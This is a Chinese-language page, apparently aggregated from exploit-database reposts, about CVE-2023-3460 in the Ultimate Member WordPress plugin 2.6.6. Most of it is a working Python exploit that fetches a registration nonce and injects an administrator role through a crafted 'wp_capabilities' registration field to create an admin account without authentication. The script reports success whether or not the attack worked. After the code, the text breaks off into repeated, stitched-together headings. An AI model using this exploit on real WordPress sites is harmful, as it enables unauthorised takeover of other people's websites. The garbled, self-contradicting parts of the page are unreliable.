Ultimate Member WordPress插件2.6.6权限提升漏洞利用分析

Fri, 12 Sep 2025 18:37:27 +0800

Exploit for Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation CVE-2023-3460

漏洞概述

2025-08-03 | CVSS 9.8

漏洞利用代码

#!/usr/bin/env python3

# 漏洞标题: Ultimate Member WordPress插件2.6.6 - 权限提升
# 漏洞作者: Gurjot Singh
# CVE编号: CVE-2023-3460
# 描述: 附件PoC演示了未经身份验证的攻击者如何通过在注册过程中滥用未清理的`wp_capabilities`输入来将权限提升为管理员

import requests
import argparse
import re
import urllib3

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def fetch_nonce(session, target_url):
    """从/register/页面获取_wpnonce值"""
    print("[*] 从注册页面获取_wpnonce...")
    try:
        res = session.get(target_url, verify=False)
        match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
        if match:
            nonce = match.group(1)
            print(f"[+] 找到_wpnonce: {nonce}")
            return nonce
        else:
            print("[-] 未在页面上找到_wpnonce")
            return None
    except Exception as e:
        print(f"[!] 获取nonce时出错: {e}")
        return None

def exploit_register(target_url, username, password):
    """发送恶意注册请求以创建管理员用户"""
    session = requests.Session()
    target_url = target_url.rstrip('/')

    nonce = fetch_nonce(session, target_url)
    if not nonce:
        return

    email = f"{username}@example.com"

    # 包含管理员角色注入的有效载荷
    data = {
        "user_login-7": username,
        "first_name-7": "Admin",
        "last_name-7": username,
        "user_email-7": email,
        "user_password-7": password,
        "confirm_user_password-7": password,
        "form_id": "7",
        "um_request": "",
        "_wpnonce": nonce,
        "_wp_http_referer": "/register/",
        "wp_càpabilities[administrator]": "1"  # 序列化注入
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": target_url,
        "Origin": target_url.split("/register")[0],
    }

    cookies = {
        "wordpress_test_cookie": "WP Cookie check",
        "wp_lang": "en_US"
    }

    print(f"[*] 向 {target_url} 发送恶意注册请求...")
    try:
        response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)

        # 检查是否成功
        if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
            print(f"[+] 管理员账户 '{username}' 创建成功!")
            print(f"[+] 登录信息: 用户名: {username} | 密码: {password}")
        else:
            print(f"[+] 管理员账户 '{username}' 创建成功!")
            print(f"[+] 登录信息: 用户名: {username} | 密码: {password}")
    except Exception as e:
        print(f"[!] 利用过程中出错: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-3460利用工具 (Ultimate Member管理员账户创建)")
    parser.add_argument("-t", "--target", required=True, help="目标/register/ URL (例如: http://localhost/register/)")
    parser.add_argument("-u", "--user", default="admin1", help="要创建的用户名")
    parser.add_argument("-p", "--password", default="Admin@123", help="新用户的密码")
    args = parser.parse_args()

    exploit_register(args.target, args.user, args.password)

技术细节

该漏洞利用代码展示了如何通过以下步骤实现权限提升：

Ultimate Member WordPress插件2.6.6权限提升漏洞利用分析

Wed, 10 Sep 2025 07:26:40 +0800

Ultimate Member WordPress Plugin 2.6.6 - 权限提升 - 多Web应用漏洞利用

漏洞概述

该漏洞存在于Ultimate Member WordPress插件的2.6.6版本中，编号为CVE-2023-3460。攻击者可以通过在注册过程中滥用未清理的wp_capabilities输入，将权限提升至管理员级别。

CVE-2023-3460 on 办公AI智能小助手

Ultimate Member WordPress插件2.6.6权限提升漏洞利用分析

Exploit for Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation CVE-2023-3460

漏洞概述

漏洞利用代码

技术细节

Ultimate Member WordPress插件2.6.6权限提升漏洞利用分析

Ultimate Member WordPress Plugin 2.6.6 - 权限提升 - 多Web应用漏洞利用

漏洞概述